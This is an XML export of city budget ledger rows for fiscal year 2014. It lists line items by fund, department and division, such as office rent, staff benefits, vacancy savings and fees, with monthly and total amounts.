<row _id="11397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522630.0</object><object_description>OFFICE RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>137000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>137000.0</total></row>
<row _id="11398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>912.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>912.0</total></row>
<row _id="11399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9578.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9578.0</total></row>
<row _id="11400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17151.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17151.0</total></row>
<row _id="11401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="11402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25013.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>310</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25323.0</total></row>
<row _id="11403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13126.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>169</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13295.0</total></row>
<row _id="11404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15142.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15142.0</total></row>
<row _id="11405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8405.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8405.0</total></row>
<row _id="11406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="11407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4203.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4203.0</total></row>
<row _id="11408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="11409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>91055.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91055.0</total></row>
<row _id="11410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="11411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533680.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="11412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5714.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5714.0</total></row>
<row _id="11413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
<row _id="11414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>891.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>891.0</total></row>
<row _id="11415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1909.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1909.0</total></row>
<row _id="11416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
<row _id="11417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>776261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>776261.0</total></row>
<row _id="11419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1807.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1807.0</total></row>
<row _id="11420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7126.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7126.0</total></row>
<row _id="11421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1357.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1357.0</total></row>
<row _id="11422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="11423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6190.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6190.0</total></row>
<row _id="11424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="11425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5176.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5176.0</total></row>
<row _id="11426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7663.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7663.0</total></row>
<row _id="11427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>482.0</total></row>
<row _id="11428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="11429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27214.0</total></row>
<row _id="11430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571110.0</object><object_description>S+C HAP SUO2</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>64240.0</total></row>
<row _id="11431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404771.0</object><object_description>PROP C LR-BIKE TRANSIT CENTER</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-25625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25625.0</total></row>
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<row _id="11436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27639.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27639.0</total></row>
<row _id="11437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-49244.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-49244.0</total></row>
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<row _id="11439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-97800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-97800.0</total></row>
<row _id="11440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-19823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19823.0</total></row>
<row _id="11441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-37023.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37023.0</total></row>
<row _id="11442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-101754.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-101754.0</total></row>
<row _id="11443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511580.0</object><object_description>COLLEGE SUMMER INTERNS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>54632.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54632.0</total></row>
<row _id="11444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1077.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>1077.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>792644.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>12033</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>804677.0</total></row>
<row _id="11446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3561.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>47</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3608.0</total></row>
<row _id="11447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>74</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5868.0</total></row>
<row _id="11448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2640.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2640.0</total></row>
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<row _id="11450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17810.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17810.0</total></row>
